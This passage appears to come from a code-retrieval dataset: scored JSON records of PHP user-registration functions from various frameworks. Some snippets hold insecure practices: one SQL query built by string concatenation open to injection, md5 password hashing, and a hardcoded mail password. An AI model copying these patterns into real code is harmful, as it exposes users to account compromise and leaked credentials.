$entityManager = $this->getDoctrine()->getManager();\n\n //create user\n $user = new User();\n $user->setEmail($this->request->request->get('email'));\n $user->setPassword('');\n $entityManager->persist($user);\n $entityManager->flush();\n //create user\n\n //encode user password\n $user->setPassword($user->encodePassword($this->request->request->get('password')));\n $entityManager->persist($user);\n $entityManager->flush();\n //encode user password\n return $user;\n }", "title": "" }, { "docid": "dde7f9532e7ccb67d94c6cbe355bd93f", "score": "0.678171", "text": "private function create()\n {\n return $this->db->putUser($this->getDefaultAttributes());\n }", "title": "" }, { "docid": "920ab170be5db989a04c459801ae1555", "score": "0.6778698", "text": "public function newUser($request)\r\n {\r\n /*\r\n * As before we set $params1 'Username'. We need this to check if user exist in database beacuse we don't allow\r\n * two user in database with the same username.\r\n */\r\n $params1 = [\r\n 'Username' => $request['username']\r\n ];\r\n if ($this->existUser($params1) == True) {\r\n /*\r\n * If in the database exits user with the same username then you return false (user must change username)\r\n */\r\n\r\n return False;\r\n } else {\r\n\r\n /*\r\n * Next step is creating a valid activation hash code. We need this for security (in URL you dont want to show UserID\r\n * beacuse in this case attacker has more information about your database)\r\n * Each of users in database has unique activation hash code. Activation hash code we need for activation account and\r\n * reseting password.\r\n *\r\n * Now,follow algorithm for creating unique activation hash code.\r\n */\r\n while (True) {\r\n $params2 = [\r\n 'Activation' => password_hash(rand(), PASSWORD_DEFAULT)\r\n ];\r\n\r\n if ($this->existUser($params2) != True) {\r\n break;\r\n }\r\n }\r\n\r\n /*\r\n * Next step is set params which need to create new user into database.\r\n */\r\n\r\n $params3 = [\r\n 'Username' => $request['username'],\r\n 'Email' => $request['email'],\r\n 'Password' => password_hash($request['password'], PASSWORD_DEFAULT),\r\n 'IsDeleted' => '0',\r\n 'Registration' => (new DateTime('now'))->format('Y-m-d h:s'),\r\n 'Activation' => $params2['Activation']\r\n ];\r\n\r\n $userID = $this->create();\r\n\r\n /*\r\n * Creating link which is send to user mail at registration for activating his account.\r\n */\r\n $link = \"http://www.mdtohtml.com/index.php?activation=\" . $params3['Activation'];\r\n\r\n /*\r\n * Inserting new user in database\r\n */\r\n $this->update($userID, $params3);\r\n\r\n /*\r\n * Now we have to prepare data to send activation mail to user (mail).\r\n */\r\n\r\n $data = [\r\n 'email' => $request['email'],\r\n 'title' => 'Registration support',\r\n 'body' => \"Hello!\\n\\nClick on below link to confirm your registration.\\n\\n$link\",\r\n 'subject' => 'Confirm password',\r\n 'user' => $request['username'],\r\n 'link' => $link,\r\n 'username' => '[email protected]',\r\n 'password' => 'preskok123'\r\n\r\n ];\r\n\r\n /*\r\n * At the end sending activating mail to user.\r\n */\r\n\r\n $this->send_mail($data);\r\n return True;\r\n }\r\n\r\n }", "title": "" }, { "docid": "6edbbc561bc3a70a17abd6736f13d3e0", "score": "0.67755586", "text": "public function registerUser()\n {\n $request = new Request();\n\n $email = $request->input('email');\n $password = $request->input('password');\n $password_repeat = $request->input('password_repeat');\n\n\n // Check email\n if (!$email) {\n $this->showRegisterForm(['Please enter email']);\n }\n // Check password\n if(!$password){\n $this->showRegisterForm(['Please enter password']);\n }\n if (!$password || !$password_repeat || $password != $password_repeat) {\n $this->showRegisterForm(['Passwords do not match']);\n }\n\n // Check user exist\n if ($this->getUser($email)) {\n $this->showRegisterForm(['User already isset']);\n }\n\n // Save user to DB\n $user = new User();\n $user->email = $email;\n $user->password = md5($password);\n $user->rights = 20;\n\n // Check save process\n if (!$user->save()) {\n $this->showRegisterForm(['Something goes wrong']);\n }\n\n // Redirect to endpoint\n header(\"Location: \" . self::ENDPOINTS['success_register']);\n }", "title": "" }, { "docid": "b74b6c8f1a413a1a6087d2a22995bf5a", "score": "0.67709005", "text": "function createUser(){\n\t\t\tglobal $db;\n\t\t\tglobal $json;\n\t\t\t\n\t\t\t//Check if username meets minimum requirements\n\t\t\tif($this->username == \"\" || $this->username == null || strlen($this->username) < 6){\n\t\t\t\t$json->invalidMinimumRequirements(\"Username\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse{\n\t\t\t//Check if username already exists\n\t\t\t\tif($db->query('SELECT * FROM user WHERE Username = \"'.$this->username.'\"')->rowCount() > 0){\n\t\t\t\t\t$json->exists(\"Username\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//Check if password meets minimum requirements\n\t\t\tif($this->password == \"\" || $this->password == null || strlen($this->password) < 6){\n\t\t\t\t$json->invalidMinimumRequirements(\"Password\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$passHash = generatePassword($this->password);\n\t\t\t\t$this->password = $passHash;\n\t\t\t\t$apiHash = generateApiKey($this->username.\"\".date('Y-m-d'));\n\t\t\t}\n\t\t\t\n\t\t\t//Check if admin is empty or invalid, if so make user non-admin\n\t\t\tif($this->admin == \"\" || $this->admin == null || $this->admin < 0)\n\t\t\t\t$this->admin = 0;\n\t\t\t\n\t\t\tif($this->subject == \"\" || $this->subject == null || $this->subject < 0)\n\t\t\t\t$this->subject = 0;\n\t\t\t\t\n\t\t\t$insert = $db->prepare('INSERT INTO user VALUES (DEFAULT, :username, :password, :subject, :admin, :api)');\n\t\t\t$insert->bindParam(':username', $this->username);\n\t\t\t$insert->bindParam(':password', $this->password);\n\t\t\t$insert->bindParam(':subject', $this->subject);\n\t\t\t$insert->bindParam(':admin', $this->admin);\n\t\t\t$insert->bindParam(':api', $apiHash);\n\t\t\t\n\t\t\tif($insert->execute()){\n\t\t\t\t$json->created(\"User\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$json->server();\n\t\t\t\treturn;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "6e22e05635b360960610e79d83e19a9a", "score": "0.67694837", "text": "protected function create(array $data)\n {\n $user = User::create([\n 'name' => $data['name'],\n 'email' => $data['email'],\n 'password' => Hash::make($data['password']),\n 'verifyToken' => Str::random(40)\n ]);\n\n $thisUser = User::findorFail($user->id);\n $this->sendEmail($thisUser);\n \n Session::flash('status','Registered! but verify your email to active your account');\n\n return $user;\n\n }", "title": "" }, { "docid": "30567236c0868765f9f4c453d019bb1f", "score": "0.6768079", "text": "public function newUser() {\n $this->checkValidUser();\n\n $this->db->sql = 'INSERT INTO '.$this->db->dbTbl['users'].' (username, salt, hash) VALUES (:username, :salt, :hash)';\n\n $salt = $this->getNewSalt();\n\n $res = $this->db->execute(array(\n ':username' => $this->getData('username'),\n ':salt' => $salt,\n ':hash' => md5($salt . $this->getData('password'))\n ));\n\n if($res === false) {\n $this->output = array(\n 'success' => false,\n 'key' => 'xxT5r'\n );\n } else {\n $this->output = array(\n 'success' => true,\n 'key' => 'dU4r5'\n );\n }\n\n $this->renderOutput();\n }", "title": "" }, { "docid": "7953800e457f753c59a5b79dafec5a63", "score": "0.6756934", "text": "public function createUser () {\n syslog( LOG_INFO, 'Create a Lineberty User \\n' );\n\n $url = '/users';\n\n return $this->runRequest($url, 'POST', null);\n }", "title": "" }, { "docid": "81bf717889ac21eb129c3fae84f166bc", "score": "0.67446995", "text": "public function test_user_created()\n {\n $this->wrongCredentials = false;\n $credentials = self::DEFAULT_CREDENTIALS;\n $user = $this->registerService->registerUser($credentials);\n $this->assertInstanceOf(User::class, $user);\n $this->assertEquals($credentials['email'], $user->email);\n $this->assertEquals($credentials['name'], $user->name);\n\n }", "title": "" }, { "docid": "12f3d104d131c0488449d56d09671db1", "score": "0.67405665", "text": "public function create_user()\n\t{\n\t\tif (!$this->ion_auth->logged_in())\n\t\t{\n\t\t\t// redirect them to the login page\n\t\t\tredirect('/admin/login', 'refresh');\n\t\t}\n\t\t$this->data['title'] = $this->lang->line('create_user_heading');\n\n\t\t//See the ion_auth config to check if allow_user_registration is TRUE\n\t\tif( ! $this->config->item('allow_user_registration', 'ion_auth')){\n\n\t\t\tif (!$this->ion_auth->logged_in() || !$this->ion_auth->is_admin())\n\t\t\t{\n\t\t\t\tredirect('/admin', 'refresh');\n\t\t\t}\n\n\t\t}\n\n\n\t\t$tables = $this->config->item('tables', 'ion_auth');\n\t\t$identity_column = $this->config->item('identity', 'ion_auth');\n\t\t$this->data['identity_column'] = $identity_column;\n\n\t\t// validate form input\n\t\t$this->form_validation->set_rules('first_name', $this->lang->line('create_user_validation_fname_label'), 'trim|required');\n\t\t$this->form_validation->set_rules('last_name', $this->lang->line('create_user_validation_lname_label'), 'trim|required');\n\t\tif ($identity_column !== 'email')\n\t\t{\n\t\t\t$this->form_validation->set_rules('identity', $this->lang->line('create_user_validation_identity_label'), 'trim|required|is_unique[' . $tables['users'] . '.' . $identity_column . ']');\n\t\t\t$this->form_validation->set_rules('email', $this->lang->line('create_user_validation_email_label'), 'trim|required|valid_email');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->form_validation->set_rules('email', $this->lang->line('create_user_validation_email_label'), 'trim|required|valid_email|is_unique[' . $tables['users'] . '.email]');\n\t\t}\n\t\t$this->form_validation->set_rules('phone', $this->lang->line('create_user_validation_phone_label'), 'trim');\n\t\t$this->form_validation->set_rules('company', $this->lang->line('create_user_validation_company_label'), 'trim');\n\t\t$this->form_validation->set_rules('password', $this->lang->line('create_user_validation_password_label'), 'required|min_length[' . $this->config->item('min_password_length', 'ion_auth') . ']|max_length[' . $this->config->item('max_password_length', 'ion_auth') . ']|matches[password_confirm]');\n\t\t$this->form_validation->set_rules('password_confirm', $this->lang->line('create_user_validation_password_confirm_label'), 'required');\n\n\t\tif ($this->form_validation->run() === TRUE)\n\t\t{\n\t\t\t$email = strtolower($this->input->post('email'));\n\t\t\t$identity = ($identity_column === 'email') ? $email : $this->input->post('identity');\n\t\t\t$password = $this->input->post('password');\n\n\t\t\t$additional_data = array(\n\t\t\t\t'first_name' => $this->input->post('first_name'),\n\t\t\t\t'last_name' => $this->input->post('last_name'),\n\t\t\t\t'company' => $this->input->post('company'),\n\t\t\t\t'phone' => $this->input->post('phone'),\n\t\t\t);\n\t\t}\n\t\tif ($this->form_validation->run() === TRUE && $this->ion_auth->register($identity, $password, $email, $additional_data))\n\t\t{\n\t\t\t// check to see if we are creating the user\n\t\t\t// redirect them back to the admin page\n\t\t\t$this->session->set_flashdata('message', $this->ion_auth->messages());\n\t\t\tredirect(\"auth\", 'refresh');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// display the create user form\n\t\t\t// set the flash data error message if there is one\n\t\t\t$this->data['message'] = (validation_errors() ? validation_errors() : ($this->ion_auth->errors() ? $this->ion_auth->errors() : $this->session->flashdata('message')));\n\n\t\t\t$this->data['first_name'] = array(\n\t\t\t\t'name' => 'first_name',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'first_name',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('first_name'),\n\t\t\t);\n\t\t\t$this->data['last_name'] = array(\n\t\t\t\t'name' => 'last_name',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'last_name',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('last_name'),\n\t\t\t);\n\t\t\t$this->data['identity'] = array(\n\t\t\t\t'name' => 'identity',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'identity',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('identity'),\n\t\t\t);\n\t\t\t$this->data['email'] = array(\n\t\t\t\t'name' => 'email',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'email',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('email'),\n\t\t\t);\n\t\t\t$this->data['company'] = array(\n\t\t\t\t'name' => 'company',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'company',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('company'),\n\t\t\t);\n\t\t\t$this->data['phone'] = array(\n\t\t\t\t'name' => 'phone',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'phone',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'value' => $this->form_validation->set_value('phone'),\n\t\t\t);\n\t\t\t$this->data['password'] = array(\n\t\t\t\t'name' => 'password',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'password',\n\t\t\t\t'type' => 'password',\n\t\t\t\t'value' => $this->form_validation->set_value('password'),\n\t\t\t);\n\t\t\t$this->data['password_confirm'] = array(\n\t\t\t\t'name' => 'password_confirm',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'id' => 'password_confirm',\n\t\t\t\t'type' => 'password',\n\t\t\t\t'value' => $this->form_validation->set_value('password_confirm'),\n\t\t\t);\n\n\n\t\t\t$this->load->view('templates/header',$this->data);\n\t\t\t$this->load->view('/admin/create_user');\n\t\t\t$this->load->view('templates/footer');\n\t\t}\n\t}", "title": "" }, { "docid": "919cca9a25f704ffb932321505ef0bc0", "score": "0.6738445", "text": "public function signupUser()\n { \n $user = User::findByUserEmail($this->email);\n if($user == null) { \n $user = new User();\n $user->user_full_name = $this->username;\n if(!empty($this->phone)) {\n $user->phone_number = $this->phone;\n }\n if(!empty($this->email)) { \n $user->email = $this->email;\n }\n $user->password_hash = md5($this->password);\n $user->login_method = 'email';\n $user->save();\n } \n return $user;\n }", "title": "" }, { "docid": "da2814153576133fd830f5316f5280c1", "score": "0.673286", "text": "protected function _createUser() {\n\t\t$user = System_Locator_TableLocator::getInstance()->get('User')->createRow();\n\t\t$user->username = $this->getUsername();\n\t\t$user->setPassword($this->getPassword());\n\t\t$user->email = $this->getEmail();\n\t\t$user->countryCode = $this->getCountryCode();\n\t\t$user->createdAt = date(DATE_ISO8601); \n\t\treturn $user;\n\t}", "title": "" }, { "docid": "32b2dd43aeb0a209c75ebd8d92b1ce6b", "score": "0.67255026", "text": "public function registration(UserCreateRequest $request)\n {\n $credentials = request()->all(['phone', 'password']);\n\n if ($token = auth()->attempt($credentials)) {\n return $this->respondWithToken($token);\n }\n if (User::where('phone', $credentials['phone'])->count() > 0) {\n return response()->json([\n 'errors' => [\n 'wrong' => 'Already exist'\n ]\n ], 401);\n }\n\n $user = User::store($request->all());\n auth()->login($user);\n\n $token = auth()->attempt($credentials);\n return $this->respondWithToken($token);\n }", "title": "" }, { "docid": "12ffc622d4f438d0b41ff85f12d7e43d", "score": "0.67174953", "text": "public function postRegister()\n\t{\n\t\t$user = new \\User;\n\n\t\t$user->email = \\Input::get( 'email' );\n\t\t$user->password = \\Input::get( 'password' );\n\n\t\t// The password confirmation will be removed from model\n\t\t// before saving. This field will be used in Ardent's\n\t\t// auto validation.\n\t\t$user->password_confirmation = \\Input::get( 'password_confirmation' );\n\n\t\t// Save if valid. Password field will be hashed before save\n\t\t$user->save();\n\n\t\tif ( $user->id )\n\t\t{\n\t\t\t//Assign the company role to this person\n\t\t\t$roleId = \\Role::where('name', '=', 'Company')->first()->id;\n\t\t\t$user->attachRole($roleId);\n\n\t\t\t// Redirect with success message, You may replace \"Lang::get(...\" for your custom message.\n\t\t\treturn \\Redirect::action('controllers\\company\\AuthController@getLogin')\n\t\t\t\t->with( 'notice', \\Lang::get('confide::confide.alerts.account_created') );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Get validation errors (see Ardent package)\n\t\t\t$error = $user->errors()->all(':message');\n\n\t\t\treturn \\Redirect::action('controllers\\company\\AuthController@getRegister')\n\t\t\t\t->withInput(\\Input::except('password'))\n\t\t\t\t->with( 'error', $error );\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "5fe8c868735f2f2f7563b09a4f428bd1", "score": "0.671197", "text": "public function create()\n {\n $this->validate($this->request, User::createRules());\n\n $user = new User;\n $user->name = $this->request->name;\n $user->phone = $this->request->phone;\n $user->dob = $this->request->dob;\n $user->image = $this->request->image_path;\n $plainPassword = $this->request->password;\n $user->password = app('hash')->make($plainPassword);\n\n $user->save();\n\n //return successful response\n return $this->response(201,\"User\", $user);\n }", "title": "" }, { "docid": "57142044cefbccd0a95b25568e0e1762", "score": "0.66984844", "text": "public function store()\n {\n $attributes = request()->validate([\n 'name' => 'required|max:255',\n 'username' => 'required|unique:users,username',\n 'email' => 'required|email|max:255|unique:users,email',\n 'password' => 'required',\n ]);\n $user = User::create($attributes);\n\n // Auth facades\n auth()->login($user);\n }", "title": "" }, { "docid": "e334941d6a5b112fcd73ae4983b91980", "score": "0.66933024", "text": "public function create()\n {\n // TODO: Algún parámetro para no permitir el registro.\n \n // Es ya un usuario?\n if (Core::isUser())\n {\n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('') . '\\';');\n return;\n }\n \n // Tenemos datos?\n if ($this->request->is('email'))\n {\n // Validamos los datos\n $form = Core::getLib('form.validator');\n $form->setRules(Core::getService('account.signup')->getValidation());\n \n // Si no hay errores procedemos a capturar los datos.\n if ($form->validate())\n {\n // Agregamos usuario\n if (Core::getService('account.process')->add($this->request->getRequest()))\n {\n if (Core::getParam('user.verify_email_at_signup'))\n {\n // Vamos a que verifique su email\n Core::getLib('session')->set('email', $this->request->get('email'));\n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('account.verify') . '\\';');\n }\n else\n {\n // Iniciamos sesión\n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('account.login') . '\\';');\n }\n \n return;\n }\n }\n }\n \n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('account.signup') . '\\';');\n }", "title": "" }, { "docid": "30a132b5c166e8302b875b5075636a6d", "score": "0.6691878", "text": "public function store()\n\t{\n\t\t$rules = array(\n\t\t\t'username'=> 'required|alpha_dash|min:3|unique:users,username',\n\t\t\t'display_name'=> 'required',\n\t\t\t'email'=>'email',\n\t\t\t'password'=> 'required',\n\t\t\t'repeat_password'=> 'required|same:password'\n\t\t);\t\n\n\t\t$validation= Validator::make(Input::all(), $rules);\n\n\t\tif ($validation ->fails()) {\n\t\t\treturn Redirect::to('register')\n\t\t\t\t->withErrors($validation)\n\t\t\t\t->withInput(Input::all());\n\t\t}\n\n\t\t$user = new User;\n\t\t$user->username = Input::get('username');\n\t\t$user->password = Hash::make(Input::get('password'));\n\t\t$user->display_name = Input::get('display_name');\n\t\t$user->email = Input::get('email');\n\t\t$user->role = 'user';\n\t\t$user->token = sha1(uniqid());\n\t\t$user->status = 'pending';\n\t\t$user->save();\n\n\t\treturn Redirect::to('/')\n\t\t\t->with('message','User Created, Waiting for Approval');\n\t}", "title": "" }, { "docid": "af607a7fcafa3824820fbefb20c032b6", "score": "0.6691874", "text": "public function writeNewUser () {\n if (! $this->Writeable()){\n throw new Exception('User object is not writeable, cannot write to DB');\n }\n\n if ($this->exists($this->loginId)) {\n throw new Exception('User already exists, cannot be created');\n }\n\n $i = new folksoDBinteract($this->dbc);\n if ($i->db_error()) {\n throw new Exception('DB connect error: ' . $i->error_info());\n }\n\n $i->sp_query(\n sprintf(\"call create_user(\"\n .\"'%s', '%s', '%s', '%s', '', %d, '%s', '%s', '%s')\",\n $i->dbescape($this->nick),\n $i->dbescape($this->firstName),\n $i->dbescape($this->lastName),\n $i->dbescape($this->email),\n $i->dbescape($this->loginId),\n $i->dbescape($this->institution),\n $i->dbescape($this->pays),\n $i->dbescape($this->fonction)));\n\n if ($i->result_status == 'DBERR') {\n throw new Exception('DB query error on create FB user: ' . $i->error_info());\n }\n }", "title": "" }, { "docid": "e09b1f0845917983d338cd718d2aff08", "score": "0.669181", "text": "public function register()\n {\n if ($this->getIsNewRecord() == false) {\n throw new \\RuntimeException('Calling \"' . __CLASS__ . '::' . __METHOD__ . '\" on existing user');\n }\n\n if ($this->module->enableConfirmation == false) {\n $this->confirmed_at = time();\n }\n\n if ($this->module->enableGeneratingPassword) {\n $this->password = Password::generate(8);\n }\n\n $this->trigger(self::USER_REGISTER_INIT);\n\n if ($this->save(false)) {\n Yii::getLogger()->log($this->getErrors(), Logger::LEVEL_INFO);\n $this->trigger(self::USER_REGISTER_DONE);\n if ($this->module->enableConfirmation) {\n $token = \\Yii::createObject([\n 'class' => \\dektrium\\user\\models\\Token::className(),\n 'type' => \\dektrium\\user\\models\\Token::TYPE_CONFIRMATION,\n ]);\n $token->link('user', $this);\n $this->mailer->sendConfirmationMessage($this, $token);\n } else {\n \\Yii::$app->user->login($this);\n }\n if ($this->module->enableGeneratingPassword) {\n $this->mailer->sendWelcomeMessage($this);\n }\n \\Yii::$app->session->setFlash('info', $this->getFlashMessage());\n \\Yii::getLogger()->log('User has been registered', Logger::LEVEL_INFO);\n return true;\n }\n\n \\Yii::getLogger()->log('An error occurred while registering user account', Logger::LEVEL_ERROR);\n\n return false;\n }", "title": "" }, { "docid": "a79046f5294969fd5cfcab64d5aba504", "score": "0.66914505", "text": "public function store(UserCreateRequest $request)\n {\n\t\t\t$user = User::create([\n\t\t\t\t'name' \t\t\t\t=> $request->input('name'),\n\t\t\t\t'lastname' \t\t=> $request->input('lastname'),\n\t\t\t\t'idNumber'\t\t=> $request->input('idNumber'),\n\t\t\t\t'email' \t\t\t=> $request->input('email'),\n\t\t\t\t'phone' \t\t\t=> $request->input('phone'),\n\t\t\t\t'address' \t\t=> $request->input('address'),\n\t\t\t\t'birthdate' \t=> $request->input('birthdate'),\n\t\t\t\t'category_id' => $request->input('category_id'),\n\t\t\t\t'password'\t\t=> 'password', // I NEED TO ADD LOGIN FUNCTIONALITY\n\t\t\t\t'is_admin'\t\t=> 0,\n\t\t\t\t'status' \t\t\t=> 'non live' // As default in the db?\n\t\t\t]);\n\n\t\t\treturn redirect('/users')->with('success', 'User Registered');\n }", "title": "" }, { "docid": "4fd32916bc536190900a0dcbb3ff3b4d", "score": "0.66904813", "text": "public function register()\n {\n $create_from = $this->request->get_body_params();\n\n $input = (object) array_intersect_key( $create_from,\n array_fill_keys(['username', 'password', 'email'], false)\n );\n\n $update = [\n 'first_name',\n 'last_name',\n ];\n\n /** @var \\WP_Error|integer $user */\n $user_id = \\wp_create_user($input->username, $input->password, $input->email);\n\n if (\\is_wp_error($user_id)) {\n throw new UnauthorizedException($user_id->get_error_message());\n }\n\n /** @var \\WP_User $user */\n $user = \\get_userdata($user_id);\n\n foreach ($update as $att) {\n $user->$att = $create_from[$att];\n }\n\n \\wp_update_user($user);\n\n return $this->response->ok([\n 'message' => sprintf(__('Hello %s', PMLD_TD), $user->nickname),\n 'user' => User::make($user),\n ]);\n\n }", "title": "" }, { "docid": "89dc3489ebc67519db007e7c57789677", "score": "0.66883856", "text": "public function create(){\n\n $user = User::create($this->_cleaned);\n return $this->respond($user);\n }", "title": "" }, { "docid": "0dc7f30147965df42ee16cc9bfd50457", "score": "0.6682501", "text": "public function register() {\n \n $this->form_validation->set_rules('email', 'Email', 'required|valid_email');\n $this->form_validation->set_rules('password', 'Passwort', 'required');\n $this->form_validation->set_rules('dataprotection', 'Datenschutz', 'required');\n \n if ($this->form_validation->run() === FALSE) {\n \t$this->error(400, 'Validation error');\n }\n \n if (strtolower($this->input->post('dataprotection')) == 'true') {\n \t// TODO: save acceptance or acceptance date to db, i.e. hand over to model\n } else {\n \t$this->error(404, 'Dataprotection error');\n } \n \n $this->user_model->setValue('email', $this->input->post('email'));\n $this->user_model->setValue(\n \t'hashed_password', \n \tpassword_hash($this->input->post('password'), PASSWORD_DEFAULT));\n\n if (! $this->user_model->newUser()) {\n\t\t\t$this->error(409, 'Duplicate');\n }\n\n\t\t$this->sendConfirmationMail($this->input->post('email'));\n\t\t$data['msg'] = $this->input->post('email') . ' registered.';\n\t\t$this->responseWithCode(201, $data);\n }", "title": "" }, { "docid": "e5171f775d1e160619cf0f7757181fdf", "score": "0.66823685", "text": "protected function create(array $data)\n {\n $company = Company::create([\n 'name' => $data['company'],\n 'referrer_id' => Session::pull(self::REFERRER_KEY),\n ]);\n\n $user = new User([\n 'name' => $data['name'],\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n ]);\n\n $user->company()->associate($company);\n\n if (!$user->save()) {\n abort(500, 'User registration failure.');\n }\n\n return $user;\n }", "title": "" }, { "docid": "0d563d4bc35ffec4b2b52bf6a11a37e1", "score": "0.6680357", "text": "public function register( CreateUserRequest $request ) {\n // store the user in the database\n $credentials = $request->only( 'name', 'email', 'password');\n $credentials[ 'password' ] = bcrypt( $credentials[ 'password' ] );\n $user = User::create($credentials);\n\n // now wire up the provider account (e.g. facebook) to the user, if provided.\n if ( isset( $request['provider'] ) && isset( $request['provider_id'] ) && isset( $request['provider_token'] ) ) {\n $user->accounts()->save( new Account( [\n 'provider' => $request['provider'],\n 'provider_id' => $request['provider_id'],\n 'access_token' => $request['provider_token'],\n ] ) );\n }\n\n // return the JWT to the user\n $token = JWTAuth::fromUser( $user );\n return response( compact( 'token' ), 200 );\n }", "title": "" }, { "docid": "ea6c36e8c5a05aaa7baabe6b080f9dda", "score": "0.66773355", "text": "public function store() \n\t{\n\t\t$input = Input::all();\n\t\t$validation = $this->validator->on('create')->with($input);\n\n\t\tif ($validation->fails())\n\t\t{\n\t\t\treturn Redirect::to(handles(\"orchestra::users/create\"))\n\t\t\t\t\t->withInput()\n\t\t\t\t\t->withErrors($validation);\n\t\t}\n\n\t\t$user = App::make('orchestra.user');\n\t\t$user->status = User::UNVERIFIED;\n\t\t$user->password = $input['password'];\n\n\t\t$this->saving($user, $input, 'create');\n\n\t\treturn Redirect::to(handles('orchestra::users'));\n\t}", "title": "" }, { "docid": "27c47eaec92573b7b113725f29f373b6", "score": "0.66739744", "text": "public function createUser(){\n $post = $this->_app->request->post();\n \n // Load the request schema\n $requestSchema = new \\Fortress\\RequestSchema($this->_app->config('schema.path') . \"/forms/user-create.json\");\n \n // Get the alert message stream\n $ms = $this->_app->alerts; \n \n // Access-controlled resource\n if (!$this->_app->user->checkAccess('create_account')){\n $ms->addMessageTranslated(\"danger\", \"ACCESS_DENIED\");\n $this->_app->halt(403);\n }\n\n // Set up Fortress to process the request\n $rf = new \\Fortress\\HTTPRequestFortress($ms, $requestSchema, $post); \n \n // Sanitize data\n $rf->sanitize();\n \n // Validate, and halt on validation errors.\n $error = !$rf->validate(true);\n \n // Get the filtered data\n $data = $rf->data(); \n \n // Remove csrf_token, password confirmation from object data\n $rf->removeFields(['csrf_token, passwordc']);\n \n // Perform desired data transformations on required fields. Is this a feature we could add to Fortress?\n $data['user_name'] = strtolower(trim($data['user_name']));\n $data['display_name'] = trim($data['display_name']);\n $data['email'] = strtolower(trim($data['email']));\n $data['active'] = 1;\n \n // Check if username or email already exists\n if (UserLoader::exists($data['user_name'], 'user_name')){\n $ms->addMessageTranslated(\"danger\", \"ACCOUNT_USERNAME_IN_USE\", $data);\n $error = true;\n }\n\n if (UserLoader::exists($data['email'], 'email')){\n $ms->addMessageTranslated(\"danger\", \"ACCOUNT_EMAIL_IN_USE\", $data);\n $error = true;\n }\n \n // Halt on any validation errors\n if ($error) {\n $this->_app->halt(400);\n }\n \n // Get default primary group (is_default = GROUP_DEFAULT_PRIMARY)\n $primaryGroup = GroupLoader::fetch(GROUP_DEFAULT_PRIMARY, \"is_default\");\n \n // Set default values if not specified or not authorized\n if (!isset($data['locale']) || !$this->_app->user->checkAccess(\"update_account_setting\", [\"property\" => \"locale\"]))\n $data['locale'] = $this->_app->site->default_locale;\n \n if (!isset($data['title']) || !$this->_app->user->checkAccess(\"update_account_setting\", [\"property\" => \"title\"])) {\n // Set default title for new users\n $data['title'] = $primaryGroup->new_user_title;\n }\n \n if (!isset($data['primary_group_id']) || !$this->_app->user->checkAccess(\"update_account_setting\", [\"property\" => \"primary_group_id\"])) {\n $data['primary_group_id'] = $primaryGroup->id;\n }\n \n // Set groups to default groups if not specified or not authorized to set groups\n if (!isset($data['groups']) || !$this->_app->user->checkAccess(\"update_account_setting\", [\"property\" => \"groups\"])) {\n $default_groups = GroupLoader::fetchAll(GROUP_DEFAULT, \"is_default\");\n $data['groups'] = [];\n foreach ($default_groups as $group_id => $group){\n $data['groups'][$group_id] = \"1\";\n }\n }\n \n // Hash password\n $data['password'] = Authentication::hashPassword($data['password']);\n \n // Create the user\n $user = new User($data);\n\n // Add user to groups, including selected primary group\n $user->addGroup($data['primary_group_id']);\n foreach ($data['groups'] as $group_id => $is_member) {\n if ($is_member == \"1\"){ \n $user->addGroup($group_id); \n }\n }\n \n // Store new user to database\n $user->store(); \n \n // Success message\n $ms->addMessageTranslated(\"success\", \"ACCOUNT_CREATION_COMPLETE\", $data);\n }", "title": "" }, { "docid": "aa77340fee561aef0772dae6deef9e80", "score": "0.6673674", "text": "private function generateUser()\n {\n \t$user=new User();\n \t$user->scenario = 'registration';\n \t$user->username=$this->user_name_prefix . '_' . time() . ++$this->userNameCounter;\n \t$user->email=time() . ++$this->emailCounter . $this->faker->unique()->email;\n \t$user->language = Yii::$app->language;\n \t$user->status = User::STATUS_ENABLED;\n \t$this->userId = $user->save(false) ? $user->id:false;\n \t$this->data[] = ['id'=>$user->id,'type'=>'user'];\n \treturn true;\n }", "title": "" }, { "docid": "571bedc0996baabcbd98de8e5128fe86", "score": "0.6671424", "text": "private function registerNewUser()\n {\n if (empty($_POST['user_name'])) {\n $this->errors[] = \"Empty Username\";\n } elseif (empty($_POST['user_password_new']) || empty($_POST['user_password_repeat'])) {\n $this->errors[] = \"Empty Password\";\n } elseif ($_POST['user_password_new'] !== $_POST['user_password_repeat']) {\n $this->errors[] = \"Password and password repeat are not the same\";\n } elseif (strlen($_POST['user_password_new']) < 6) {\n $this->errors[] = \"Password has a minimum length of 6 characters\";\n } elseif (strlen($_POST['user_name']) > 64 || strlen($_POST['user_name']) < 2) {\n $this->errors[] = \"Username cannot be shorter than 2 or longer than 64 characters\";\n } elseif (!preg_match('/^[a-z\\d]{2,64}$/i', $_POST['user_name'])) {\n $this->errors[] = \"Username does not fit the name scheme: only a-Z and 